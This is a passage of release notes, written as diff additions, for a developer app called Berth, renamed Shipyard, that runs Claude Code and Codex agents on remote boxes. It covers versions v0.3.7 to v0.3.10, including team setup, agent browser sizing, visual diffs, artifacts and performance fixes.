+- **Typing in a terminal keeps up on a slow link.** On a box 80 ms to 2 s
+ away (a relayed Tailscale link), a shell showed each key only once the box
+ had echoed it. Now what you type shows at once, underlined until the box's
+ echo agrees, as in Mosh; anything the box draws differently takes every
+ prediction back, and password prompts never show one. It turns on by
+ itself when the round trip is over about 60 ms: **Settings → Terminal →
+ Predict typing** has Always and Never too. See
+ [Terminals](/docs/guides/terminals#typing-on-a-slow-link).
+- **The Browser tab's address follows the page.** An app that changes pages
+ on the client (Next.js, React Router: `history.pushState`) left the
+ address bar on the first URL, since nothing loaded. It now shows where the
+ page is, within half a second.
+- **Every agent account gets Shipyard's hooks and skills.** A Claude Code or
+ Codex session started on another account (the Usage plugin's accounts,
+ which set `CLAUDE_CONFIG_DIR` or `CODEX_HOME`) ran without Shipyard's
+ hooks, so the box guessed from the screen when it was working, done or
+ needed you, and without Shipyard's skills. `berthd integrations install`
+ now puts them in every account folder (the default, those in
+ `~/.berth/accounts`, and any the box or a project picks), **Add account…**
+ puts them in the new one, and berthd adds them to an account a session
+ starts on before its agent runs. `berthd integrations` and `berthd doctor`
+ list them per account. See
+ [Agent integrations](/docs/guides/agent-integrations#every-account).
+- **A chat on another account reads its conversation.** An agent started on
+ another Claude Code or Codex account (the Usage plugin's accounts, which
+ set `CLAUDE_CONFIG_DIR` or `CODEX_HOME`) wrote its conversation to that
+ account's folder, and the box only looked in its own: the chat said "Its
+ conversation can't be read here yet" and emptied after every message. The
+ box now reads each session's conversation from the account it started on.
+- **Berth is now Shipyard.** A new name, nothing else: the same app, the
+ same CLI and the same boxes, with your data where it was. The commands are
+ still `berth` and `berthd`, and their files (`~/.berth`, a repository's
+ `.berth/`, `BERTH_*` variables, `berth://` links) keep their names for now.
+ A new download is `Shipyard.app`; an installed `Berth.app` updates in
+ place and keeps its folder name. Releases before this one went out as
+ Berth.
+- **Shipyard for Linux, an alpha.** The desktop app now ships for x86-64
+ Linux as an AppImage, which updates itself from the same feed as the Mac
+ app, and as a .deb. It's an alpha: less tested than the Mac app, and its
+ sidebar and **Settings → About** say so, with **Report a Linux bug** in
+ About. Ctrl stands in for ⌘ (in a terminal, add Shift: Ctrl+Shift+T, and
+ Ctrl+Shift+C and V copy and paste); there's no menu bar; **Start at
+ login** makes the agent a systemd user service. arm64 isn't built yet.
+ [Linux (alpha)](/docs/getting-started/install#linux-alpha).
+
+## v0.3.10
+
+- **What's new, once after an update.** The Mac app updates itself
+ quietly, so its new things went unseen. After an update, a note at the
+ foot of the sidebar says what's new (with the sidebar folded, the card
+ opens instead). The card shows the release's highlights one at a time,
+ each with a small picture of it in the app and **Show me**, which goes
+ there: the worktree's artifacts board, a visual diff, a Browser tab with
+ its console open, or renaming a worktree; the rest show their keys or
+ their guide. ← and → page through it, Esc closes it. A new install
+ doesn't get it, and × on the note puts it away for good. **Settings →
+ About → What's new** and ⌘K open it again.
+ [Updates](/docs/getting-started/install#updates).
+- **A team setup's repos are ready when it says so.** Each repo's
+ first-time setup (its init) runs in a terminal of its own on the box,
+ which the Team setup page never showed. An init that stopped at a question,
+ such as corepack's "Do you want to continue? [Y/n]" before it downloads
+ yarn, left the repo setting up until opening its main checkout happened to
+ show that terminal; answering there finished the setup, which is why
+ worktrees only worked after **Open main checkout**. Now corepack doesn't
+ ask (in inits and worktree setup scripts). A repo's row shows its init's
+ last line and a **Terminal** button. When the init asks anything, the row
+ says **waiting for you**, the status card names the repo, and **Answer in
+ its terminal** opens it. **Open main checkout** is a way to open the repo
+ again, not a step.
+ [Progress, failure and Retry](/docs/guides/team-setup#progress-failure-and-retry).
+- **An agent CLI you installed with npm is found.** Claude Code installed
+ with `npm i -g @anthropic-ai/claude-code` under nvm (or fnm, volta, bun,
+ pnpm, a custom npm prefix or Homebrew) wasn't picked up on a new box,
+ where the one **Add agents…** installs was: berthd runs as a service, and
+ only your interactive shell's `~/.bashrc` knows where nvm put it. berthd
+ now asks your shell as a terminal starts it (`$SHELL -lic`, reading only
+ its answer, past any banner, and giving up after ten seconds), then looks
+ in the folders those installers use. With both installs, the one your
+ shell finds first is used. Agents start with it and the `PATH` it was
+ found with, so its `node` is found too. `berthd doctor` and **Settings →
+ Boxes** say which one, such as `Claude Code 2.1.3 · ~/.nvm/…/bin/claude
+ (npm)`, with **Look again** for one installed since; `berthd agents
+ install` no longer installs a second copy, and `berthd integrations
+ install` finds it the same way.
+ [Agent CLIs you installed yourself](/docs/getting-started/add-a-box#agent-clis-you-installed-yourself).
+- **The agent's browser has the size the agent chooses.** It opens at
+ 1920×1080 now (it was 1280×800), and an agent sets another with
+ `berthd browser resize 390x844 --scale 3`, a preset (`phone`,
+ `phone-max` and `tablet` as in Preview, `laptop`, `desktop`), or
+ `open --size … --scale …`. The size is kept for the worktree until it
+ changes, a running browser changes at once, and widths from 320 to 3840,
+ heights from 240 to 2160 and scales from 1 to 3 are allowed, with an error
+ that says the range otherwise. `open`, `status`, `list`, `doctor` and
+ `GET /v1/browser/health` say the size; `shot` follows it (`--native` for
+ the page's own pixels). In the app, **Agent's view** says the size and the
+ zoom it shows the page at, and fits the page to the pane without enlarging
+ it past its own size, so a 2x page stays sharp. The `berth-browser` skill
+ tells agents to check a phone size too. [Agent browser](/docs/guides/agent-browser#size)
+- Files an agent's browser downloads land in the worktree's
+ `.berth/browser/`, as the guide says, rather than the folder berthd
+ started in.
+
+- **A slow or dropping link to a box says so, and recovers by itself.**
+ Tested against boxes 200–900 ms away, links with jitter, a bandwidth cap,
+ stalls, resets, outages of 10 s, 60 s and 5 minutes, and a laptop asleep.
+ A box that drops off now reads **Reconnecting to devl… Next try in 6s**
+ in its terminals, chats and a team setup in progress, with **Try now**
+ (which checks the box at once; it used to only re-read what the agent
+ already knew). The agent tries an away box after about 2 s, then 4 and
+ every 8 s, each with jitter (never less often than before), checks a box
+ at once when a request to it has had no answer for 5 s, and answers
+ requests for an away box at once rather than after a 15 s dial,
+ so ⌘P, Files and the rest stop spinning. Reads now give up after 30 s
+ with "devl isn't answering" instead of spinning on, and ⌘P says why in
+ words and searches again when the box is back. Typing into a terminal
+ that gets nothing back for 4 s shows **Waiting for devl to answer…**. A
+ chat message sent again after a dropped answer carries the same
+ idempotency key, so it is typed once, not twice. The app's event stream
+ to the agent reconnects with jittered backoff and is dropped and opened
+ again after 45 s of silence (a laptop that slept), and refreshes that
+ land together after a reconnect run as one instead of piling up.
+ [Slow and dropping networks](/docs/concepts/laptop-agent#slow-and-dropping-networks).
+- **Berth works from the keyboard and with a screen reader.** Under a
+ chat, its agent's terminal no longer takes Tab and keeps it. Closing
+ ⌘K, ⌘P or a rename gives the keyboard back instead of dropping it;
+ a file opened from ⌘P takes the keyboard, as do the Files panel (⌘⇧E)
+ and the console drawer (⌘⌥I), whose tabs switch with the arrows and
+ whose edge sizes with ↑ and ↓. Shift-F10 opens a tab's menu, ← and →
+ fold a project in the sidebar, answering a permission or a question
+ keeps the keyboard, and focus rings show in every theme
+ (3:1, and muted text 4.5:1 on menus and highlighted rows: 22 themes
+ moved a shade; code in the File tab and in chats reads at 4.5:1 too,
+ each colour a shade darker or lighter). Screen readers hear who said
+ each message in a chat,
+ and hear an agent that finishes, needs you or fails, alerts first.
+ ⌘K now lists every shortcut's action, each part of Settings, Review,
+ a Preview tab, Rename this worktree and Do not disturb; the shortcuts
+ sheet adds F2, ⌘F, ↵, esc, ← → and ⇧F10. With Reduce motion on in
+ macOS, spinners, shimmer and pulses hold still and nothing slides.
+- **Artifacts: charts, tables, diagrams and small pages from your agents,
+ live.** An agent writes a `berth.chart` JSON, a CSV, Mermaid, Markdown or
+ one HTML file and runs `berthd artifact add`; its chat shows a card with a
+ live thumbnail and the headline its data gives ("/search 1,240 → 410 ms
+ (−67%)", "3 failed of 16"). Open it as a tab, or ⌘-click to open it
+ beside the chat; the tab has a Live pill that pulses when the agent
+ rewrites the file, its versions (the first and the newest eight) and its
+ source. **N artifacts** under the reply box, or the grid button in the
+ worktree's toolbar, opens the worktree's board, filtered by Charts,
+ Tables, Diagrams, Pages and Notes. Charts are drawn with
+ [bklit UI](https://ui.bklit.com) in your theme, in all 23; a page runs on
+ its own origin with no network and no access to Berth. The box keeps
+ them outside the worktree, checks each version, and refuses one that
+ looks like a secret. The `berth-artifacts` skill teaches Claude Code and
+ Codex when and how (`berthd integrations install`). The claude.ai chip
+ now reads **N published**. [Artifacts](/docs/guides/artifacts).
+
+- **Visual diffs: what a change did to your pages.** After a UI change, an
+ agent runs `berthd shots compare`: the worktree's pages and main's are
+ shot at 375, 768 and 1280 pixels wide in a short-lived Chromium of their
+ own (reduced motion, animations settled, fonts and images loaded, lazy
+ content scrolled in, UTC), diffed pixel by pixel with content that only
+ moved counted as moved, and kept as an artifact in its chat, in about 5
+ seconds for 6 pages × 3 sizes. The tab opens on the biggest change: a
+ before/after **Slider**, **Side by side**, **Flicker** or **Onion skin**,
+ a **Heatmap** with **Glow**, numbered regions named by their element,
+ **Changes ‹ n of N ›** (n and p), **All shots** in a grid, and chips for
+ a page that now scrolls sideways, fails or is new. **Accept as
+ baseline** keeps the after-shots; comparing again with
+ `--base accepted` gives the all clear. Masks and defaults go in
+ `.berth/config.json`'s `shots`; `--color-scheme both` shoots light and
+ dark; with main's dev server stopped it compares with the turn-start
+ baseline (`berthd shots baseline`) and says so. The agent reads about 450
+ tokens. The `berth-visual-diff` skill teaches Claude Code and Codex to
+ check before saying done. Beside the chat, in a narrow pane, its tab's
+ header folds to one line (the title, a version menu, **Source** and
+ **Board**) so the before/after starts near the top.
+ [Visual diffs](/docs/guides/visual-diffs).
+
+- **Berth rests when nothing happens.** Left open with a couple of chats,
+ two Browser tabs and their drawers, a Preview tab and the Files panel,
+ the app asked the agent about 170 times a minute and kept its main
+ thread busy about 12% of the time, hidden or not, because every terminal
+ drew on every frame whether or not it showed. Now a terminal in a hidden
+ tab draws nothing and gets its output a second at a time (the agent
+ batches it), and one on screen draws only when something changes: with
+ a dozen terminals printing behind other tabs, the main thread went from
+ most of a core to about a tenth of one, typing in the one in front echoes in
+ about 30 ms instead of 400, and switching to one takes 30 ms instead of
+ 400. At rest the app asks about 55 times a minute, and nothing while
+ the window is hidden or the Mac sleeps; it catches up the moment you
+ come back. Spinners and shimmers hold still once the window has been in
+ the background for 30 seconds. Closing a terminal now frees its memory
+ (it kept all of it before), a full Console drawer no longer redraws
+ every row for each new line, xterm.js (the fallback renderer) no longer
+ stalls with noisy terminals in background tabs, and an idle box's
+ daemon no longer wakes thirty times a second. `pnpm perf:soak` and
+ `pnpm perf:terminals` measure it; the smoke suite checks it stays so.
+
+- **Give a worktree a name you can read.** A worktree made from a pasted
+ link is called `https-linear-app-acme`. **Rename…** in its menu,
+ double-click or F2 on its sidebar row (Enter saves, Esc cancels), or
+ right-click or F2 on its tile in the folded rail gives it a display name;
+ the field says the branch stays as it is, and offers the name its agent's
+ task gives. It is a label only: the branch and folder don't move, and an
+ empty name shows the worktree's own again. The box keeps it, so your
+ other laptops, the phone and `berth worktree rename BOX/LOC/NAME "Name"`
+ see it too. It shows in the sidebar, the rail, tab groups, ⌘K and ⌘P,
+ Home, Review, notifications, the status bar (new: the worktree in front,
+ click to rename) and the window's title, with the worktree's own name in
+ its tooltip and beside it when the sidebar is wide; ⌘K finds either. A box
+ that isn't updated keeps it on this laptop only, and says so once.
+ [Display names](/docs/concepts/projects-and-worktrees#display-names).
+- **Drag the sidebar wider or narrower.** Its right edge sizes it from
+ 200px, where a worktree's name still reads, to 420px (and never more than
+ 40% of the window), and the width is kept. Double-click the edge for the
+ default 240px; focus it for ← and → (Shift for bigger steps), Home and
+ End. Dragged past its narrowest it folds to the rail, as in VS Code, and
+ dragging the rail's edge out opens it again; Esc mid-drag puts it back.
+ Terminals and the Browser tab follow as you drag.
+
+- **Long chats stay quick.** In a chat of 2,000 turns, each update of a
+ reply being written took about 57 ms, as every row was drawn again and
+ every message re-read for ⌘F; now only the reply's own row draws, in
+ about 15 ms, the same as in a short chat. Typing in the reply box no
+ longer makes the whole window restyle on each key (about 8 ms a key,
+ at any length). Scrolling a long chat from top to bottom quickly no
+ longer drops half its frames, and a chat holds half the memory. Words
+ you select stay selected while the chat scrolls past them, so dragging
+ or Shift-clicking across many messages copies all of them, and screen
+ readers hear the chat as a list that says where each message is.
+ [Conversation view](/docs/guides/labs#conversation-view).
+
+- **The sidebar stays quick with hundreds of worktrees.** With 300
+ worktrees, each with an agent, every row used to build its right-click
+ menu, its ⋯ and + menus and its tooltips up front: about 1.2 s of work
+ as the app started, and 120 MB of memory. Now the sidebar and the folded
+ rail share one menu and one tooltip, and a row draws its buttons when
+ you first point at it or tab to it: the start costs no more than with a
+ handful of worktrees, memory is about 20 MB, and folding a project,
+ renaming a row or going to Home no longer draws every row again. Agents'
+ spinning and pulsing state icons rest while scrolled out of sight, which
+ kept the app busy even when nothing happened, and dragging the
+ sidebar's edge no longer restyles the whole window on every frame (it
+ stuttered at a few frames a second). Right-click, Shift+F10, the menu
+ key, F2 and double-click work as before.
+
+- **The Browser tab stops spinning once a page has loaded.** A page that
+ adds a frame after it loads (a chat widget, an embed) used to leave the
+ spinner on for good. Only the page itself counts now, and a load that
+ never starts gives up after ten seconds. A page whose own code keeps
+ reloading it (four times in a row) says so, with **Open in your
+ browser**. Next.js 16.3 reloads a page once in WebKit after a redirect
+ to a page with a Cross-Origin-Opener-Policy header; Next 16.4 fixes it,
+ or set `experimental.reactDebugChannel: false`.
+
+- **Messages from other agents are theirs, not yours.** Claude Code hands
+ a helper's hand-back, a teammate's message, another session's, the
+ lead's note and its own background notices to the model as if they were
+ prompts. The chat showed some as your own bubble (tags, JSON and
+ reminders included) and dropped the rest, so Claude answered reports you
+ never saw. Now each is a card beside Berth's reports: the sender's
+ avatar and colour, its name and kind, Report, Question, Update,
+ Instruction or Failed, how long it took, "to Claude", and **Open** for a
+ helper's tab. **Read report** unfolds a report in place; one longer than
+ a screen opens in its helper's tab or a sheet. A teammate's or session's
+ question **needs you** until it's answered, with **Reply**. Background
+ pings are one line, successes close together fold into "✓ 3 finished",
+ failures always show (×2 when repeated). A message you sent mid-turn is
+ marked "Sent while Claude was working", and `` notes
+ are gone. Teammates join the Crew strip, helpers that reported back get a
+ **Report** badge, and Berth's own report cards take the same head. Needs
+ the box updated; an older box shows these as before.
+ [Conversation view](/docs/guides/labs#conversation-view).
+- **The crew's times fit.** A helper out for 10 minutes or more no longer
+ wraps its time onto two lines ("12m / 00s").
+
+- **Developer tools in the Browser tab.** **Inspect** opens WebKit's Web
+ Inspector for the page, in its own window, and the page's right-click
+ menu has **Inspect Element**, in release builds too (a private WebKit
+ setting the App Store refuses; Berth ships outside it). **Console and
+ network** (⌘⌥I) opens a drawer under the page: its console since it
+ loaded, uncaught errors and rejections with their stacks, and its
+ requests from the laptop proxy's log, failed ones marked. **Send to
+ agent** on an error or a failed request hands the worktree's agent the
+ error, its stack or the request and its answer, and the page's address.
+ The Browser tab and its toolbar count the page's errors. Watching the
+ agent's browser, the drawer shows its console and failed requests.
+ [Browser tab](/docs/guides/browser#developer-tools)
+
+## v0.3.9
+
+- **A helper opens in its own tab.** Click a helper in the crew, or in
+ "Sent out N helpers", and its whole conversation opens as a tab just
+ after its chat's: its name, a spinner while it works and a check once
+ it's back, and the agent that sent it out a click away. Click again and
+ that tab comes to the front. ⌘-click opens it beside the chat in a
+ split, and ⌥-click (or the row's eye) still peeks in the sheet, which
+ now has **Open in tab**. The tab splits, drags and groups like any other,
+ and is there again after a restart; a helper whose record is gone, or
+ whose box is offline, says so.
+- **agent-browser no longer piles up on a box.** Agents that drive Vercel's
+ agent-browser CLI instead of Berth's browser left a daemon and a headless
+ Chrome running for every session they forgot to close, and on a busy box
+ those Chromes ate the CPU. Every session Berth starts now gets
+ `AGENT_BROWSER_IDLE_TIMEOUT_MS=600000`, so an idle one closes after 10
+ minutes (set it in the box's `env.json` or the project's `env` to change
+ it, `0` to turn it off). When a Berth session stops, exits or its
+ worktree is archived, Berth closes the agent-browser sessions it started,
+ and only those: one run by hand is never touched. `berthd doctor` lists
+ any left behind and `berthd browser reap` closes them. The
+ `berth-browser` skill now tells agents to use `berthd browser` for the
+ worktree's pages, and to run `agent-browser close` when they use
+ agent-browser anyway. [Agent browser](/docs/guides/agent-browser#agent-browser).
+
+- **The crew sits in its conversation.** The helpers an agent sends out
+ now dock above its reply box, beside the task list, in each chat pane for
+ its own agent. Before, the card sat in the window's corner, and in a
+ narrow pane it hung over the reply box and the Stop button. Folded it is
+ one line (how many, how many are working, what the first is doing); it
+ folds itself a few seconds after every helper is back. Loops keep the
+ corner.
+
+- **Adding a box is quiet.** **Add a box** over SSH, or **Install and pair**
+ on a tailnet machine, opens a compact dialog with a short checklist, and
+ the agents to install sit inline beside the host (Claude Code ticked,
+ remembered for the next box). Berth installs berthd, its own tmux, the
+ agents and their integrations by itself: no plan to read and no Enter to
+ press. A terminal opens in the dialog only for a step that truly needs
+ `sudo`'s password (git missing, or keeping berthd running after you log
+ out where the box allows that only as root), and only for that step;
+ lingering is tried without sudo first, and when it alone needs the
+ password the dialog asks, with **Skip**. `berth add ssh` is quiet the same
+ way; `--guided` shows the whole plan and runs it in one terminal, as
+ adding a box from Team setup does (the guided install, below).
+- **1Password is optional in Team setup.** When a team's shared keys are
+ 1Password references, the **Keys** check offers **Use 1Password** or
+ **Skip 1Password**. Skipped, each shared key is typed once (or left
+ blank), no `op://` reference reaches the box and `op` is never called for
+ them; blank keys are listed as missing on **You're set up** and in the
+ project's settings, and **Use 1Password** turns it on later. A team can
+ require it with `"onepassword": "required"` in `team.json` (the default is
+ `"optional"`). `berth team setup --no-1password` does the same from the
+ command line.
+- **The guided install.** Adding a box from Team setup first shows the
+ plan, full screen: what will run, step by step, the exact commands a click
+ away, which steps may need `sudo`, the team's own steps after Berth's, and
+ an **Agents** choice (Claude Code ticked; Codex, Cursor Agent and OpenCode
+ to add; remembered for the next box). Then `berth add ssh --guided` runs
+ in a terminal here, beside a checklist: press Enter to start, and type
+ your password when `sudo` asks for it on the box (it goes to the box and
+ nowhere else; Berth never sees or keeps it). A failed step shows its
+ command as a copyable line and **Retry from here**; the steps before it
+ are kept. When the box is ready, the team's setup starts on it in the same
+ screen, and **Back to Team setup** goes on from there. `berth add ssh
+ --guided` does the same in your own terminal: the plan, then Enter;
+ `--yes` and scripts stop with the command to run instead, never a command
+ made into a sentence.
+- **Berth brings its own tmux.** `berth` and the app carry a static tmux
+ for Linux (amd64 and arm64, 1.3 MB, built from pinned sources by
+ `scripts/build-tmux.sh`), uploaded to `~/.local/bin` on a box without
+ one, so tmux needs no sudo. git still comes from the package manager, in
+ the guided terminal. berthd's service now has `~/.local/bin` on its `PATH`
+ on Linux too.
+- **Berth installs the agent CLIs.** `berthd agents install claude codex`
+ puts them in `~/.local/bin` without sudo: Claude Code with its native
+ installer, Codex from its pinned GitHub release with its sha256 checked,
+ Cursor Agent and OpenCode with their own installers; each is skipped when
+ it is there. Adding a box runs it, then installs their hooks and
+ skills (`berthd integrations install present`), so there is nothing left
+ to run by hand. **Settings › Boxes › … › Add agents…** adds more later, in
+ the same view. Signing in stays yours. A team setup can name them too:
+ `"agents": ["claude", "codex"]` in `team.json` becomes Berth's own step.
+- Adding a box refuses to install as root, and asks before berthd
+ listens on every interface on a box without a tailnet address.
+
+- **Team setup.** A GitHub org publishes how its engineers' boxes are set
+ up in a repository called `.berth` (`team.json`, schema `berth.team/v1`,
+ plus the box script and any kits), and a new engineer runs it from Berth:
+ **Joining a team?** on the welcome screen, **Set this box up for a team**
+ in Add a box, or a link, `berth://team?org=`. One page reads like the
+ org's repository (who published it, the commit, who changed it last), lists
+ what you'll get with every exact command, and turns into the progress when
+ you press **Set up**. GitHub goes through the GitHub CLI: your laptop's `gh`
+ reads the setup and checks you can read each repo (no membership check;
+ "You can't read acme/website: ask an admin · Set up the other 2"),
+ and the box signs in with its own `gh auth login`, so your laptop's token
+ never leaves it. Box steps run in a terminal on the box, as you; steps
+ that need root ask for your password there, and Berth never sees it.
+ Progress survives berthd restarting, a failed step keeps the ones before
+ it and retries from itself, and each repo is set up from its own
+ `.berth/config.json` (trusted as you reviewed it) or the team's kit,
+ pinned to a commit. Shared keys are 1Password references, your own are
+ asked for once and stay on your box. A newer commit of `.berth` is an
+ update to review, with a diff, never run by itself. An org without a
+ `.berth` gets a picker of its repos. A team setup also loads from a link
+ to any repo, branch and folder (`github.com///tree//`,
+ or `berth://team?src=…`), to try one before the org publishes it; the page
+ then names the repo and branch it came from. `berth team show|setup|status|retry`
+ does the same from the command line. Acme's is the worked example, in
+ `examples/team/acme-dot-berth`. See [team setup](/docs/guides/team-setup).
+
+- **Team setup signs 1Password in.** A team setup whose shared keys are
+ `op://` references gets a Berth step of its own after GitHub's,
+ **1Password on the box**: `op signin` runs in the box's terminal, the page
+ shows it inline while op asks (its questions count as waiting for you, as
+ sudo's do), and berthd keeps op's session for its reads. `berthd secret
+ signin` does the same by hand, and `--check` only says whether the box can
+ read 1Password.
+- **op never asks in a service's terminal.** Berth runs op without a
+ terminal, so a box that isn't signed in no longer leaves a service sitting
+ at op's "add an account? [Y/n]": the read fails at once with
+ "1Password isn't signed in on devbox: sign in from Team setup or run
+ `berthd secret signin` on the box", and the service starts without the key.
+- **tmux and git on a fresh box.** `berthd install` (which the install
+ command and `berth add ssh` both run) installs tmux, and git if missing,
+ when that needs no password: as root, with sudo that needs none, or with
+ Homebrew. The install command offers to run it with sudo when it can ask;
+ otherwise it stops before installing anything, with the command to run.
+ The Team setup page says when the box has no tmux, with the command, and
+ waits for it.
+- **`box.settings` in `team.json`.** Values the team keeps in one place
+ (versions, ports) reach the box script, and each project's init, as
+ `BERTH_SETTING_`. Strings only, checked; `$` fields are still
+ comments.
+- **New groups reach what berthd starts.** A step that adds you to a group
+ (docker) used to leave berthd, and every terminal and service it started,
+ without it until a reboot. The team's terminal now carries on with the new
+ group, and berthd starts terminals, services, scripts and hooks through
+ `sg` while it lacks one; `berthd doctor` says so.
+- **Kit requirements are checked as a login shell finds them.** A kit's
+ `requires` used berthd's own PATH, so a project warned "node is not
+ installed" right after the box steps installed it with fnm. They are
+ looked for through your login shell now, and checked again when a team
+ setup's steps end.
+- **A project's init gets the kit.** A team setup's `init` script gets
+ `BERTH_KIT_DIR`, `BERTH_LOCATION`, `BERTH_ROOT_PATH` and `BERTH_BOX`, as
+ kit scripts do, so it can reuse the kit's code.
+- **Team project ids are URL-safe.** A project's id names it on the box and
+ is part of every worktree's URL, so `team.json` refuses one with a dot
+ (`acme.com`; use `site`, with `path` keeping the folder). Repos picked from
+ an org without a `.berth` get one (`acme.com` → `acme-com`).
+- **The example team setup** is Acme's, a made-up org whose shop needs
+ Node, Postgres and Redis: 8 box steps, 4 with sudo, versions in
+ `box.settings`, and an init that migrates and seeds.
+
+## v0.3.8
+
+- **The Files panel.** ⌘⇧E (or View → Files panel, or its button in the
+ tab strip) shows the worktree's files at the right, beside whatever tab
+ is in front, so you can watch what the agent touches while you read its
+ Chat. **All** lists the worktree a folder at a time; **Changed** folds it
+ to this turn's files, with `+/−` lines and A/M/D letters. It opens on
+ Changed while the agent works and on All otherwise, until you pick. Blue
+ dots mark folders with changes inside, and the file the agent is writing
+ gets a live mark while it works. Click a file to open it in a File tab;
+ **New file** makes an empty one in the folder you are on, and is the
+ only thing the panel does to files. Below a 1100px window it floats over
+ the tabs and goes on esc. It stays open across restarts. The box lists a
+ folder at a time (`GET …/files?dir=`), so the panel isn't limited to the
+ 20,000 files ⌘P searches; past that, ⌘P also searches what the agent
+ changed, and says so. See
+ [the Files panel](/docs/guides/files#the-files-panel).
+
+- **⌘P finds a file, and a File tab opens it.** In any worktree, ⌘P lists
+ the files the agent changed this turn first, with their `+/−` lines,
+ then the ones you opened lately; type to search every file, fuzzily,
+ with letters in the file's name counting most. On a wide window the
+ highlighted file shows beside the list at the agent's first change. ↵
+ opens a File tab, ⌥↵ opens it beside the pane, ⌘↵ in your editor. The
+ File tab marks the agent's changes this turn in the margin (yours,
+ unsaved, in grey), steps through them, saves with ⌘S, and is coloured
+ by your theme's own syntax colours, as diffs are. When the agent writes
+ the file under your unsaved edits, nothing is overwritten: a banner
+ offers Reload, Keep mine or Compare (side by side in the diff view).
+ Large and binary files say why they don't open; pictures show. See
+ [Go to file and File tabs](/docs/guides/files).
+
+- **Prompts wait for an agent's trust question.** In a folder it hasn't
+ seen, Claude Code (and Codex) first asks whether to trust it, and that
+ question takes keys only: a prompt typed into it was dropped, and the
+ Enter after it answered the question, which with Claude Code's
+ highlighted "No, exit" ended the session before its first prompt ran.
+ The box now watches a new agent until it is at its prompt. A prompt sent
+ while it asks is held and typed once you've answered and it has run the
+ prompt it was started with (that one, given on its command line, was
+ always kept); one sent before it has drawn waits a moment first. The chat
+ shows the question in the agent's own screen, to answer there, with the
+ first prompt marked as sent, and no longer offers a Yes or No that would
+ type a word into it. Needs the box updated.
+
+- **The chat streams while Claude writes.** A reply now grows in the chat
+ as it does in the terminal, read off Claude Code's screen, with a caret
+ where the words end; when Claude Code records the message it takes the
+ draft's place in the same spot, with nothing jumping or showing twice. A
+ reply taller than the terminal keeps the start the chat already saw.
+ Finished steps (tool calls, earlier words) also appear within a fraction
+ of a second instead of every two seconds: the box says when an open
+ chat's transcript changes. Codex chats show messages as they land, as
+ before. Needs the box updated; older boxes keep working as they did.
+ Settings › Appearance › Chat › "Show replies as they're written" turns
+ the growing draft off.
+
+- **An agent hears back when work it started is done.** An agent that
+ starts a task in a worktree, prompts another agent, or starts a run no
+ longer has to keep polling to find out it finished. Berth remembers who
+ asked and, when the work finishes, fails, needs a person or reaches a
+ gate, types one short `` into the asking agent's
+ session at its next idle: the agent's answer, the files it changed with
+ their line counts, its branch and how to review and merge it, and where
+ to read more. Several that land together arrive as one message; each is
+ said once, never in a circle, never to an agent that's gone, and at most
+ one every 15 seconds. The skills and MCP tools now tell agents to end
+ their turn rather than wait, and `notify: false` (or `--no-notify`) opts
+ out. In the app the report reads as a card in the chat, with a button to
+ open the agent it's about. See
+ [hearing back](/docs/guides/orchestration#hearing-back).
+
+- **A file dropped on the window no longer replaces the app.** Dropping a
+ file from Finder where nothing takes it used to open it in Berth's place,
+ a whole-window markdown file with no way back. Now it is refused, and a
+ hint says to drop it on a message box or a terminal. Home's composer,
+ the ⌘N task box, Running agents, Fork and Send back now take dropped or
+ pasted files, as the reply box does: they go up to the box and their
+ paths go with the prompt (for a new worktree, into the project's main
+ checkout until the worktree exists).
+
+## v0.3.7
+
+- **The folded sidebar shows your agents, not initials.** With the sidebar
+ hidden (`⌘\`), the rail lists agents by what they need: those that need
+ you, then working, then done, then any on a box that went away, each
+ lane headed by its glyph and count. Each agent is its own icon (Claude,
+ Codex) in a ring of its state, over its worktree's name, edged in its tab
+ group's colour when on screen. Hover or focus one for its task, what it
+ waits for, its project, worktree and box; click to go to it. Lanes fold;
+ arrow keys move between agents; nothing shows while nothing is happening.
+
+- **Ask about what you select in a chat.** Select words in an agent's
+ reply, a tool's output or a question, and a small bar offers **Ask
+ Claude about this** (type and press Enter: it goes with the words
+ quoted) or **Quote in reply**. Code blocks in replies now say their
+ language and keep **Copy** in view, and waiting ("Reading the
+ conversation…", the agent's working line) shows a small pixel grid with
+ how long it has taken.
+
+- **Home is yours: a grid of widgets under the composer.** Needs you (with
+ **Allow once** for a permission, right there), Working now with each
+ agent's step, Recently finished, Recent areas, the Harbour, Pull requests
+ and your review queue, CI failures on your worktrees' branches, Git
+ activity, Agent usage, Boxes, Running services and Notes. **Customize**
+ moves, resizes and removes them (by drag or keyboard), **Add widget**
+ shows each one live with your data, and your layout is kept. Widgets read
+ nothing while off screen. Plugins add their own with
+ `berth.addHomeWidget`. [More](/docs/guides/home)
+
+- **Preview tabs: a page at every size at once.** A worktree's dev server
+ at Tailwind's breakpoints, phones and a tablet side by side, each at its
+ real width, as a filmstrip, a grid or all fitted in view. Synced, opening
+ a page or scrolling in one frame does it in all (clicks and typing too,
+ if you like); isolated, each is its own. Force light or dark for all
+ frames or one, rotate phones, add your own widths, and take one
+ screenshot of every frame. Open one from **+ → Preview**, the Run menu,
+ **Running in**, or a Browser tab's toolbar. The laptop agent gives only
+ Preview frames the script that does this; restart it after updating.
+ [More](/docs/guides/browser#preview-tab)
+- **A terminal on a box, from Home.** ⌘T or **New terminal** with no
+ worktree in focus asks which box (each with its state and load, the last
+ one picked first; a box that's offline or needs a newer berthd says so),
+ or goes straight to the only one online. The shell starts in the box
+ user's home folder and opens as a tab over Home, after a **devl · ~**
+ chip; closing the last one gives you plain Home back. A box's menu in
+ the sidebar has **New terminal** too. Boxes need this berthd
+ (`session.home`).
+- **Agents start on a Mac's own box again.** Under launchd, tmux 3.7 had no
+ locale and mangled the session list, so every agent on "this Mac" ended
+ with "It's gone". tmux now always speaks UTF-8 there.
+- **A new task opens in one tab, not two.**
+- **An update restarts the Berth agent.** The agent outlives the app, so
+ after an update it went on running the old version (and kept this Mac's
+ box on the old berthd) until you restarted it or the Mac. Now the updated
+ app restarts it as it starts, whether the app started it or it starts at
+ login: it first finishes what it's doing, your agents keep running on
+ their boxes, and the new agent brings this Mac's box up to date. A short
+ note says **Updated to vX.Y.Z**. `berth agent restart` does the same by
+ hand.
+- **The chat no longer sticks on "Reading the conversation…".** An agent
+ at work sends an event with every tool call, and each one started the
+ chat's read over, throwing away the answer on its way: on a box slower to
+ answer than the agent's calls came, the chat never showed. Reads now
+ carry on, and one the box never answers ends in a few seconds in **Couldn't
+ read the conversation** with Retry.
+
+- **Compare two worktrees (Labs).** ⌘⌥C, **Compare with…** in a worktree's
+ menu, or **Compare with #N** on an attempt in Review opens a Compare tab:
